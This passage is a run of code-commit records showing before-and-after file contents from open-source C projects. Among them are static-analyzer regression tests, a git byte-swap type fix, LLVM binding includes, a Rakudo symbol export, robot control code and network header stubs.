fSharp,AJDev77\/CefSharp,rlmcneary2\/CefSharp,haozhouxu\/CefSharp,yoder\/CefSharp,AJDev77\/CefSharp,battewr\/CefSharp,joshvera\/CefSharp,NumbersInternational\/CefSharp,Haraguroicha\/CefSharp,gregmartinhtc\/CefSharp,Haraguroicha\/CefSharp"}
{"commit":"a4db1a0e0a897b2b82793b8a8f944370ac42b52f","old_file":"tests\/regression\/51-threadjoins\/05-assume-unknown.c","new_file":"tests\/regression\/51-threadjoins\/05-assume-unknown.c","old_contents":"","new_contents":"\/\/PARAM: --set ana.activated[+] threadJoins\n#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\n\nvoid *t_fun(void *arg) {\n  g++; \/\/ RACE!\n  return NULL;\n}\n\nint main() {\n  pthread_t id, id2;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  __goblint_assume_join(id2); \/\/ joining unknown thread ID, shouldn't make joined set All threads\n\n  g++; \/\/ RACE!\n\n  return 0;\n}\n","subject":"Add assume join test with unknown thread ID","message":"Add assume join test with unknown thread ID\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"f117facb5ade615965bdd76a870659fe1f62f302","old_file":"test\/Analysis\/uninit-vals-ps-region.c","new_file":"test\/Analysis\/uninit-vals-ps-region.c","old_contents":"\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n};\n\nstruct s global;\n\nvoid g(int);\n\nvoid f4() {\n  int a;\n  if (global.data == 0)\n    a = 3;\n  if (global.data == 0)\n    g(a); \/\/ no-warning\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n};\n\nstruct s global;\n\nvoid g(int);\n\nvoid f4() {\n  int a;\n  if (global.data == 0)\n    a = 3;\n  if (global.data == 0) \/\/ The true branch is infeasible.\n    g(a); \/\/ no-warning\n}\n","subject":"Add comment to test case for documentation.","message":"Add comment to test case for documentation.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@60521 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"5322ef2006cc93ad76140ff742cd96e74c1ec09b","old_file":"compat\/bswap.h","new_file":"compat\/bswap.h","old_contents":"\/*\n * Let's make sure we always have a sane definition for ntohl()\/htonl().\n * Some libraries define those as a function call, just to perform byte\n * shifting, bringing significant overhead to what should be a simple\n * operation.\n *\/\n\n\/*\n * Default version that the compiler ought to optimize properly with\n * constant values.\n *\/\nstatic inline unsigned int default_swab32(unsigned int val)\n{\n\treturn (((val & 0xff000000) >> 24) |\n\t\t((val & 0x00ff0000) >>  8) |\n\t\t((val & 0x0000ff00) <<  8) |\n\t\t((val & 0x000000ff) << 24));\n}\n\n#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))\n\n#define bswap32(x) ({ \\\n\tunsigned int __res; \\\n\tif (__builtin_constant_p(x)) { \\\n\t\t__res = default_swab32(x); \\\n\t} else { \\\n\t\t__asm__(\"bswap %0\" : \"=r\" (__res) : \"0\" (x)); \\\n\t} \\\n\t__res; })\n\n#undef ntohl\n#undef htonl\n#define ntohl(x) bswap32(x)\n#define htonl(x) bswap32(x)\n\n#endif\n","new_contents":"\/*\n * Let's make sure we always have a sane definition for ntohl()\/htonl().\n * Some libraries define those as a function call, just to perform byte\n * shifting, bringing significant overhead to what should be a simple\n * operation.\n *\/\n\n\/*\n * Default version that the compiler ought to optimize properly with\n * constant values.\n *\/\nstatic inline uint32_t default_swab32(uint32_t val)\n{\n\treturn (((val & 0xff000000) >> 24) |\n\t\t((val & 0x00ff0000) >>  8) |\n\t\t((val & 0x0000ff00) <<  8) |\n\t\t((val & 0x000000ff) << 24));\n}\n\n#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))\n\n#define bswap32(x) ({ \\\n\tuint32_t __res; \\\n\tif (__builtin_constant_p(x)) { \\\n\t\t__res = default_swab32(x); \\\n\t} else { \\\n\t\t__asm__(\"bswap %0\" : \"=r\" (__res) : \"0\" (x)); \\\n\t} \\\n\t__res; })\n\n#undef ntohl\n#undef htonl\n#define ntohl(x) bswap32(x)\n#define htonl(x) bswap32(x)\n\n#endif\n","subject":"Fix some printf format warnings","message":"Fix some printf format warnings\n\ncommit 51ea551 (\"make sure byte swapping is optimal for git\"\n2009-08-18) introduced a \"sane definition for ntohl()\/htonl()\"\nfor use on some GNU C platforms. Unfortunately, for some of\nthese platforms, this results in the introduction of a problem\nwhich is essentially the reverse of a problem that commit 6e1c234\n(\"Fix some warnings (on cygwin) to allow -Werror\" 2008-07-3) was\nintended to fix.\n\nIn particular, on platforms where the uint32_t type is defined\nto be unsigned long, the return type of the new ntohl()\/htonl()\nis causing gcc to issue printf format warnings, such as:\n\n    warning: long unsigned int format, unsigned int arg (arg 3)\n\n(nine such warnings, covering six different files). The earlier\ncommit (6e1c234) needed to suppress these same warnings, except\nthat the types were in the opposite direction; namely the format\nspecifier (\"%u\") was 'unsigned int' and the argument type (ie the\nreturn type of ntohl()) was 'long unsigned int' (aka uint32_t).\n\nIn order to suppress these warnings, the earlier commit used the\n(C99) PRIu32 format specifier, since the definition of this macro\nis suitable for use with the uint32_t type on that platform.\nThis worked because the return type of the (original) platform\nntohl()\/htonl() functions was uint32_t.\n\nIn order to suppress these warnings, we change the return type of\nthe new byte swapping functions in the compat\/bswap.h header file\nfrom 'unsigned int' to uint32_t.\n\nSigned-off-by: Ramsay Jones <3e74413778ce9c8bebbbaedfd56741f6850faeaf@ramsay1.demon.co.uk>\nAcked-by: Nicolas Pitre <d659c10e27d52b00987b65e85d99bce5480adcae@fluxnic.net>\nSigned-off-by: Jeff King <696e3fbcf235d40b6ea1ebd61c87cbea79d444e7@peff.net>\n","lang":"C","license":"mit","repos":"destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git"}
{"commit":"2c1de29d687dc782897f0e566080cf5d9678893c","old_file":"Sources\/cllvm\/shim.h","new_file":"Sources\/cllvm\/shim.h","old_contents":"#define _GNU_SOURCE\n#define __STDC_CONSTANT_MACROS\n#define __STDC_FORMAT_MACROS\n#define __STDC_LIMIT_MACROS\n\n#include <llvm-c\/Analysis.h>\n#include <llvm-c\/BitReader.h>\n#include <llvm-c\/BitWriter.h>\n#include <llvm-c\/Core.h>\n#include <llvm-c\/DebugInfo.h>\n#include <llvm-c\/Disassembler.h>\n#include <llvm-c\/ErrorHandling.h>\n#include <llvm-c\/ExecutionEngine.h>\n#include <llvm-c\/Initialization.h>\n#include <llvm-c\/IRReader.h>\n#include <llvm-c\/Linker.h>\n#include <llvm-c\/LinkTimeOptimizer.h>\n#include <llvm-c\/lto.h>\n#include <llvm-c\/Object.h>\n#include <llvm-c\/OrcBindings.h>\n#include <llvm-c\/Support.h>\n#include <llvm-c\/Target.h>\n#include <llvm-c\/TargetMachine.h>\n#include <llvm-c\/Transforms\/IPO.h>\n#include <llvm-c\/Transforms\/PassManagerBuilder.h>\n#include <llvm-c\/Transforms\/Scalar.h>\n#include <llvm-c\/Transforms\/Vectorize.h>\n#include <llvm-c\/Types.h>\n\n","new_contents":"#define _GNU_SOURCE\n#define __STDC_CONSTANT_MACROS\n#define __STDC_FORMAT_MACROS\n#define __STDC_LIMIT_MACROS\n\n#include <llvm-c\/Analysis.h>\n#include <llvm-c\/BitReader.h>\n#include <llvm-c\/BitWriter.h>\n#include <llvm-c\/Core.h>\n#include <llvm-c\/DebugInfo.h>\n#include <llvm-c\/Disassembler.h>\n#include <llvm-c\/ErrorHandling.h>\n#include <llvm-c\/ExecutionEngine.h>\n#include <llvm-c\/Initialization.h>\n#include <llvm-c\/IRReader.h>\n#include <llvm-c\/Linker.h>\n#include <llvm-c\/LinkTimeOptimizer.h>\n#include <llvm-c\/lto.h>\n#include <llvm-c\/Object.h>\n#include <llvm-c\/OrcBindings.h>\n#include <llvm-c\/Support.h>\n#include <llvm-c\/Target.h>\n#include <llvm-c\/TargetMachine.h>\n#include <llvm-c\/Transforms\/IPO.h>\n#include <llvm-c\/Transforms\/PassManagerBuilder.h>\n#include <llvm-c\/Transforms\/Scalar.h>\n#if LLVM_VERSION_MAJOR > 6\n\/\/ LLVMAddLowerSwitchPass and LLVMAddPromoteMemoryToRegisterPass live here\n\/\/ as of LLVM 7.0\n#include <llvm-c\/Transforms\/Utils.h>\n#endif\n#include <llvm-c\/Transforms\/Vectorize.h>\n#include <llvm-c\/Types.h>\n\n","subject":"Prepare for LLVM 7.0 migrating some utility passes","message":"Prepare for LLVM 7.0 migrating some utility passes\n","lang":"C","license":"mit","repos":"trill-lang\/LLVMSwift"}
{"commit":"4f6d59a7ad30a4e27be1d3db20f39ad718bfb67a","old_file":"src\/vm\/moar\/ops\/perl6_ops.c","new_file":"src\/vm\/moar\/ops\/perl6_ops.c","old_contents":"#define MVM_SHARED 1\n#include \"moar.h\"\n\n\/* Initializes the Perl 6 extension ops. *\/\nstatic void p6init(MVMThreadContext *tc) {\n}\n\n\/* Registers the extops with MoarVM. *\/\nvoid Rakudo_ops_init(MVMThreadContext *tc) {\n    MVM_ext_register_extop(tc, \"p6init\",  p6init, 0, NULL);\n}\n","new_contents":"#define MVM_SHARED 1\n#include \"moar.h\"\n\n\/* Initializes the Perl 6 extension ops. *\/\nstatic void p6init(MVMThreadContext *tc) {\n}\n\n\/* Registers the extops with MoarVM. *\/\nMVM_DLL_EXPORT void Rakudo_ops_init(MVMThreadContext *tc) {\n    MVM_ext_register_extop(tc, \"p6init\",  p6init, 0, NULL);\n}\n","subject":"Make sure to export extops init symbol.","message":"Make sure to export extops init symbol.\n","lang":"C","license":"artistic-2.0","repos":"Gnouc\/rakudo,teodozjan\/rakudo,tbrowder\/rakudo,sergot\/rakudo,nunorc\/rakudo,ugexe\/rakudo,ab5tract\/rakudo,salortiz\/rakudo,tony-o\/rakudo,zostay\/rakudo,MasterDuke17\/rakudo,azawawi\/rakudo,cygx\/rakudo,labster\/rakudo,cognominal\/rakudo,skids\/rakudo,labster\/rakudo,sjn\/rakudo,tony-o\/rakudo,sergot\/rakudo,ungrim97\/rakudo,samcv\/rakudo,tony-o\/deb-rakudodaily,LLFourn\/rakudo,cygx\/rakudo,salortiz\/rakudo,cygx\/rakudo,jonathanstowe\/rakudo,cygx\/rakudo,rakudo\/rakudo,softmoth\/rakudo,zostay\/rakudo,azawawi\/rakudo,paultcochrane\/rakudo,lucasbuchala\/rakudo,dankogai\/rakudo,softmoth\/rakudo,zostay\/rakudo,ugexe\/rakudo,tony-o\/deb-rakudodaily,lucasbuchala\/rakudo,tony-o\/deb-rakudodaily,awwaiid\/rakudo,raydiak\/rakudo,niner\/rakudo,skids\/rakudo,samcv\/rakudo,nbrown\/rakudo,tony-o\/deb-rakudodaily,MasterDuke17\/rakudo,awwaiid\/rakudo,cognominal\/rakudo,MasterDuke17\/rakudo,nbrown\/rakudo,nunorc\/rakudo,teodozjan\/rakudo,rakudo\/rakudo,LLFourn\/rakudo,zhuomingliang\/rakudo,jonathanstowe\/rakudo,salortiz\/rakudo,rakudo\/rakudo,paultcochrane\/rakudo,sjn\/rakudo,azawawi\/rakudo,niner\/rakudo,tony-o\/rakudo,tony-o\/rakudo,paultcochrane\/rakudo,retupmoca\/rakudo,nbrown\/rakudo,dankogai\/rakudo,rakudo\/rakudo,labster\/rakudo,MasterDuke17\/rakudo,ungrim97\/rakudo,jonathanstowe\/rakudo,cognominal\/rakudo,zhuomingliang\/rakudo,usev6\/rakudo,Gnouc\/rakudo,sergot\/rakudo,tbrowder\/rakudo,dankogai\/rakudo,MasterDuke17\/rakudo,tony-o\/deb-rakudodaily,niner\/rakudo,jonathanstowe\/rakudo,b2gills\/rakudo,sjn\/rakudo,tbrowder\/rakudo,b2gills\/rakudo,raydiak\/rakudo,tbrowder\/rakudo,softmoth\/rakudo,raydiak\/rakudo,dwarring\/rakudo,retupmoca\/rakudo,cygx\/rakudo,usev6\/rakudo,tbrowder\/rakudo,ab5tract\/rakudo,zostay\/rakudo,awwaiid\/rakudo,ungrim97\/rakudo,rakudo\/rakudo,zhuomingliang\/rakudo,b2gills\/rakudo,awwaiid\/rakudo,Gnouc\/rakudo,softmoth\/rakudo,ab5tract\/rakudo,laben\/rakudo,LLFourn\/rakudo,samcv\/rakudo,retupmoca\/rakudo,niner\/rakudo,nbrown\/rakudo,nunorc\/rakudo,nbrown\/rakudo,azawawi\/rakudo,b2gills\/rakudo,retupmoca\/rakudo,skids\/rakudo,ugexe\/rakudo,samcv\/rakudo,LLFourn\/rakudo,teodozjan\/rakudo,tony-o\/deb-rakudodaily,cognominal\/rakudo,ungrim97\/rakudo,dwarring\/rakudo,awwaiid\/rakudo,sjn\/rakudo,laben\/rakudo,nunorc\/rakudo,teodozjan\/rakudo,usev6\/rakudo,zhuomingliang\/rakudo,paultcochrane\/rakudo,Leont\/rakudo,Gnouc\/rakudo,paultcochrane\/rakudo,usev6\/rakudo,nbrown\/rakudo,labster\/rakudo,labster\/rakudo,Leont\/rakudo,samcv\/rakudo,tony-o\/rakudo,dankogai\/rakudo,lucasbuchala\/rakudo,ab5tract\/rakudo,rakudo\/rakudo,Gnouc\/rakudo,labster\/rakudo,lucasbuchala\/rakudo,ugexe\/rakudo,dwarring\/rakudo,cognominal\/rakudo,MasterDuke17\/rakudo,skids\/rakudo,sjn\/rakudo,laben\/rakudo,raydiak\/rakudo,sergot\/rakudo,ugexe\/rakudo,dwarring\/rakudo,Leont\/rakudo,skids\/rakudo,Leont\/rakudo,salortiz\/rakudo,jonathanstowe\/rakudo,salortiz\/rakudo,tbrowder\/rakudo,tony-o\/deb-rakudodaily,lucasbuchala\/rakudo,tony-o\/rakudo,laben\/rakudo,dankogai\/rakudo,ungrim97\/rakudo,usev6\/rakudo,LLFourn\/rakudo,softmoth\/rakudo,b2gills\/rakudo,ab5tract\/rakudo,Gnouc\/rakudo,azawawi\/rakudo,salortiz\/rakudo"}
{"commit":"f679a986df5514bb42e001a5afd149f839ebed03","old_file":"test\/Sema\/return-noreturn.c","new_file":"test\/Sema\/return-noreturn.c","old_contents":"\/\/ RUN: clang-cc %s -fsyntax-only -verify -fblocks -Wmissing-noreturn\n\nint j;\nvoid test1() { \/\/ expected-warning {{function could be attribute 'noreturn'}}\n  ^ (void) { while (1) { } }(); \/\/ expected-warning {{block could be attribute 'noreturn'}}\n  ^ (void) { if (j) while (1) { } }();\n  while (1) { }\n}\n\nvoid test2() {\n  if (j) while (1) { }\n}\n","new_contents":"\/\/ RUN: clang-cc %s -fsyntax-only -verify -fblocks -Wmissing-noreturn\n\nint j;\nvoid test1() { \/\/ expected-warning {{function could be attribute 'noreturn'}}\n  ^ (void) { while (1) { } }(); \/\/ expected-warning {{block could be attribute 'noreturn'}}\n  ^ (void) { if (j) while (1) { } }();\n  while (1) { }\n}\n\nvoid test2() {\n  if (j) while (1) { }\n}\n\n\/\/ This test case illustrates that we don't warn about the missing return\n\/\/ because the function is marked noreturn and there is an infinite loop.\nextern int foo_test_3();\n__attribute__((__noreturn__)) void* test3(int arg) {\n  while (1) foo_test_3();\n}\n\n__attribute__((__noreturn__)) void* test3_positive(int arg) {\n  while (0) foo_test_3();\n} \/\/ expected-warning{{function declared 'noreturn' should not return}}\n","subject":"Add two more test cases for attribute 'noreturn'.","message":"Add two more test cases for attribute 'noreturn'.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@82841 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"d833601615d09c98fdc629e9b07490ffc218ff7d","old_file":"bottleopener\/platforms.h","new_file":"bottleopener\/platforms.h","old_contents":"#pragma once\n\n\/\/#define __PLATFORM_CARRIOTS__ 1\n\/\/#define __PLATFORM_INITIALSTATE__ 1\n#define __PLATFORM_SHIFTR__ 1\n#define __PLATFORM_THINGSPEAK__ 1\n","new_contents":"#pragma once\n\n#define __PLATFORM_CARRIOTS__ 1\n\/\/#define __PLATFORM_INITIALSTATE__ 1\n\/\/#define __PLATFORM_SHIFTR__ 1\n\/\/#define __PLATFORM_THINGSPEAK__ 1\n","subject":"Change platform selection to Carriots","message":"Change platform selection to Carriots\n","lang":"C","license":"mit","repos":"Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot"}
{"commit":"00aac489636d56fcbe90874fa18e26c617d2d26d","old_file":"3RVX\/HotkeyInfo.h","new_file":"3RVX\/HotkeyInfo.h","old_contents":"#pragma once\n\n#include <map>\n#include <vector>\n\nclass HotkeyInfo {\npublic:\n    enum HotkeyActions {\n        IncreaseVolume,\n        DecreaseVolume,\n        SetVolume,\n        Mute,\n        VolumeSlider,\n        EjectDrive,\n        EjectLatestDrive,\n        MediaKey,\n        RunApp,\n        Settings,\n        Exit,\n    };\n    static std::vector<std::wstring> ActionNames;\n\n    enum MediaKeys {\n        PlayPause,\n        Stop,\n        Next,\n        Previous,\n    };\n    static std::vector<std::wstring> MediaKeyNames;\n    static std::vector<unsigned short> MediaKeyVKs;\n\npublic:\n    int keyCombination = 0;\n    int action = -1;\n    std::vector<std::wstring> args;\n\n    int ArgToInt(int argIdx);\n    double ArgToDouble(int argIdx);\n    bool HasArgs();\n    void AllocateArg(unsigned int argIdx);\n    std::wstring ToString();\n\nprivate:\n    std::map<int, int> _intArgs;\n    std::map<int, double> _doubleArgs;\n};","new_contents":"#pragma once\n\n#include <map>\n#include <vector>\n\nclass HotkeyInfo {\npublic:\n    enum HotkeyActions {\n        IncreaseVolume,\n        DecreaseVolume,\n        SetVolume,\n        Mute,\n        VolumeSlider,\n        EjectDrive,\n        EjectLatestDrive,\n        MediaKey,\n        RunApp,\n        Settings,\n        Exit,\n    };\n    static std::vector<std::wstring> ActionNames;\n\n    enum MediaKeys {\n        PlayPause,\n        Stop,\n        Next,\n        Previous,\n    };\n    static std::vector<std::wstring> MediaKeyNames;\n    static std::vector<unsigned short> MediaKeyVKs;\n\npublic:\n    int keyCombination = 0;\n    int action = -1;\n    std::vector<std::wstring> args;\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the argument at the given index and converts it to an integer.\n    \/\/\/ Subsequent calls that specify the same index will be cached.\n    \/\/\/ <\/summary>\n    int ArgToInt(unsigned int argIdx);\n\n    \/\/\/ <summary>\n    \/\/\/ Retrieves the argument at the given index and converts it to a double.\n    \/\/\/ Subsequent calls that specify the same index will be cached.\n    \/\/\/ <\/summary>\n    double ArgToDouble(unsigned int argIdx);\n\n    bool HasArgs();\n    void AllocateArg(unsigned int argIdx);\n    std::wstring ToString();\n\nprivate:\n    std::map<int, int> _intArgs;\n    std::map<int, double> _doubleArgs;\n};","subject":"Add documentation and ensure parameters are unsigned","message":"Add documentation and ensure parameters are unsigned\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"eed9cdf420ef882a796d9f8e9a233ded25c9becb","old_file":"tests\/rtp\/codec-discovery.c","new_file":"tests\/rtp\/codec-discovery.c","old_contents":"\n\n#include <gst\/gst.h>\n\n#include <gst\/farsight\/fs-codec.h>\n\n#include \"fs-rtp-discover-codecs.h\"\n\nint main (int argc, char **argv)\n{\n  GList *elements = NULL;\n  GError *error = NULL;\n\n  gst_init (&argc, &argv);\n\n  g_debug (\"AUDIO STARTING!!\");\n\n  elements = load_codecs (FS_MEDIA_TYPE_AUDIO, &error);\n\n  if (error)\n    g_debug (\"Error: %s\", error->message);\n\n  g_clear_error (&error);\n  unload_codecs (FS_MEDIA_TYPE_AUDIO);\n\n  g_debug (\"AUDIO FINISHED!!\");\n\n\n  g_debug (\"VIDEO STARTING!!\");\n\n  elements = load_codecs (FS_MEDIA_TYPE_VIDEO, &error);\n\n  if (error)\n    g_debug (\"Error: %s\", error->message);\n\n  g_clear_error (&error);\n\n  unload_codecs (FS_MEDIA_TYPE_VIDEO);\n\n  g_debug (\"VIDEO FINISHED!!\");\n\n  return 0;\n}\n","new_contents":"\n\n#include <gst\/gst.h>\n\n#include <gst\/farsight\/fs-codec.h>\n\n#include \"fs-rtp-discover-codecs.h\"\n\nint main (int argc, char **argv)\n{\n  GList *elements = NULL;\n  GError *error = NULL;\n\n  gst_init (&argc, &argv);\n\n  g_debug (\"AUDIO STARTING!!\");\n\n  elements = fs_rtp_blueprints_get (FS_MEDIA_TYPE_AUDIO, &error);\n\n  if (error)\n    g_debug (\"Error: %s\", error->message);\n\n  g_clear_error (&error);\n  fs_rtp_blueprints_unref (FS_MEDIA_TYPE_AUDIO);\n\n  g_debug (\"AUDIO FINISHED!!\");\n\n\n  g_debug (\"VIDEO STARTING!!\");\n\n  elements = fs_rtp_blueprints_get (FS_MEDIA_TYPE_VIDEO, &error);\n\n  if (error)\n    g_debug (\"Error: %s\", error->message);\n\n  g_clear_error (&error);\n\n  fs_rtp_blueprints_unref (FS_MEDIA_TYPE_VIDEO);\n\n  g_debug (\"VIDEO FINISHED!!\");\n\n  return 0;\n}\n","subject":"Use the new function names for the codec discovery tests","message":"Use the new function names for the codec discovery tests\n","lang":"C","license":"lgpl-2.1","repos":"tieto\/farstream,tieto\/farstream,pexip\/farstream,ahmedammar\/skype_farsight2,pexip\/farstream,tieto\/farstream,shadeslayer\/farstream,pexip\/farstream,ahmedammar\/skype_farsight2,kakaroto\/farstream,ahmedammar\/skype_farsight2,pexip\/farstream,tieto\/farstream,kakaroto\/farstream,ahmedammar\/skype_farsight2,shadeslayer\/farstream,kakaroto\/farstream,shadeslayer\/farstream,kakaroto\/farstream,shadeslayer\/farstream,tieto\/farstream"}
{"commit":"6fd88d81d55e1199bab54aedc186e01dda4dbc2a","old_file":"libpatlms\/include\/patlms\/type\/exception\/detail\/date_parse_exception.h","new_file":"libpatlms\/include\/patlms\/type\/exception\/detail\/date_parse_exception.h","old_contents":"#ifndef INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H\n#define INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H\n\n#include <patlms\/type\/exception\/exception.h>\n\nnamespace type\n{\n\nnamespace exception\n{\n\nnamespace detail\n{\n\nclass DateParseException : public interface::Exception {\n  inline char const* what() const throw () override;\n};\n\nchar const* DateParseException::what() const throw () {\n  return \"Can't parse date.\";\n}\n\n}\n\n}\n\n}\n\n#endif \/* INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H *\/\n","new_contents":"#ifndef INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H\n#define INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H\n\n#include <patlms\/type\/exception\/exception.h>\n\nnamespace type\n{\n\nnamespace exception\n{\n\nnamespace detail\n{\n\nclass DateParseException : public interface::Exception {\n  inline char const* what() const throw () override;\n};\n\nchar const* DateParseException::what() const throw () {\n  return \"Can't parse date\";\n}\n\n}\n\n}\n\n}\n\n#endif \/* INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H *\/\n","subject":"Remove dot from exception message","message":"Remove dot from exception message\n","lang":"C","license":"mit","repos":"chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/slas,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/slas"}
{"commit":"87474f57f90f8b312f1cce96152f7d24aa7f3321","old_file":"ietf\/rtp7587.h","new_file":"ietf\/rtp7587.h","old_contents":"","new_contents":"\/*\n * RTP Payload Format for the Opus Speech and Audio Codec\n *\/\n#ifndef __BITSTREAM_IETF_RTP7587_H__\n# define __BITSTREAM_IETF_RTP7587_H__\n\n#define RTP_7587_CLOCKRATE       48000\n\n#endif \/* !__BITSTREAM_IETF_RTP7587_H__ *\/\n","subject":"Add Opus RTP payload format header","message":"Add Opus RTP payload format header\n","lang":"C","license":"mit","repos":"kierank\/bitstream,gfto\/bitstream,gfto\/bitstream,theambient\/bitstream_c,theambient\/bitstream_c,kierank\/bitstream"}
{"commit":"c6f1f85bf3a1c1e52ff1114ae05e04b82213f186","old_file":"tests\/regression\/36-octapron\/22-traces-write-centered-vs-meet-mutex.c","new_file":"tests\/regression\/36-octapron\/22-traces-write-centered-vs-meet-mutex.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\nint h = 0;\nint i = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER; \/\/ h <= g\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER; \/\/ h == g\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x, y, z;\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&A);\n  x = g;\n  y = h;\n  assert(y <= x);\n  pthread_mutex_lock(&B);\n  assert(x == y); \/\/ TODO (mutex-meet succeeds, write unknown)\n  pthread_mutex_unlock(&B);\n  i = x + 31;\n  z = i;\n  assert(z >= x); \/\/ TODO (write succeeds, mutex-meet unknown)\n  pthread_mutex_unlock(&A);\n  pthread_mutex_unlock(&C);\n  return NULL;\n}\n\nint main(void) {\n  int x; \/\/ rand\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&A);\n  i = 11;\n  g = x;\n  h = x - 17;\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  h = x;\n  pthread_mutex_unlock(&A);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&C);\n  i = 3;\n  pthread_mutex_unlock(&C);\n  return 0;\n}\n","subject":"Add relational traces write vs mutex-meet example","message":"Add relational traces write vs mutex-meet example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"269c892039f901b97057614b664e72df31c2c597","old_file":"src\/driver_control\/dc_dump.c","new_file":"src\/driver_control\/dc_dump.c","old_contents":"void dc_dump() {\n\n\tstatic int prev_l = 0, prev_r = 0;\n\n    if (!prev_l && vexRT[Btn7L])\n        dump_set(-80);\n    if (!prev_r && vexRT[Btn7R])\n        dump_set(80);\n    if ((prev_l && !vexRT[Btn7L]) || (prev_r && !vexRT[Btn7R]))\n       \tdump_set(0);\n\n    prev_l = vexRT[Btn7L];\n    prev_r = vexRT[Btn7R];\n\n}\n","new_contents":"void dc_dump() {\n\n    \/\/ TODO: Check direction and change to U and D\n\n\tstatic int prev_l = 0, prev_r = 0;\n\n    if (!prev_l && vexRT[Btn7L])\n        dump_set(-127);\n    if (!prev_r && vexRT[Btn7R])\n        dump_set(127);\n    if ((prev_l && !vexRT[Btn7L]) || (prev_r && !vexRT[Btn7R]))\n       \tdump_set(0);\n\n    prev_l = vexRT[Btn7L];\n    prev_r = vexRT[Btn7R];\n\n}\n","subject":"Change dump power to 127","message":"Change dump power to 127\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"}
{"commit":"81ba4f0afa96aa863e254f8fc124a2a7096ca5dc","old_file":"src\/include\/ccn\/sockcreate.h","new_file":"src\/include\/ccn\/sockcreate.h","old_contents":"","new_contents":"\/*\n * sockcreate.h\n * Copyright (C) 2009 Palo Alto Research Center, Inc. All rights reserved.\n *\/\n\nstruct sockaddr_storage;\nstruct sockaddr;\n\n\/**\n * Holds a pair of socket file descriptors.\n *\n * Some platfoms\/modes of operations require separate sockets for sending\n * and receiving, so we accomodate that with this pairing.  It is fine for\n * the two file descriptors to be the same.\n *\/\nstruct ccn_sockets {\n    int recving;\n    int sending;\n    \/\/ flags?\n};\n\n\nstruct ccn_sockdescr {\n    int ipproto; \/**< as per http:\/\/www.iana.org\/assignments\/protocol-numbers -\n                    should match IPPROTO_* in system headers *\/\n    const char *address; \/**< acceptable to getaddrinfo *\/\n    const char *port; \/**< service name or number *\/\n    const char *source_address; \/**< may be needed for multicast *\/\n    int ttl; \/**< may be needed for multicast *\/\n};\n\n\/**\n * Utility for setting up a socket (or pair of sockets) from a text-based\n * description.\n * \n * @param \n * @param logger should be used for reporting errors, printf-style\n * @param logdat must be passed as first argument to logger()\n * @param socks should be filled in with the pair of socket file descriptors\n * @returns 0 for success, -1 for error\n *\/\nint ccn_setup_socket(const struct ccn_sockdescr *descr,\n                     (logger*)(void *, const char *, ...),\n                     void *logdat,\n                     struct ccn_sockets *socks);\n","subject":"Introduce header for doing socket setup 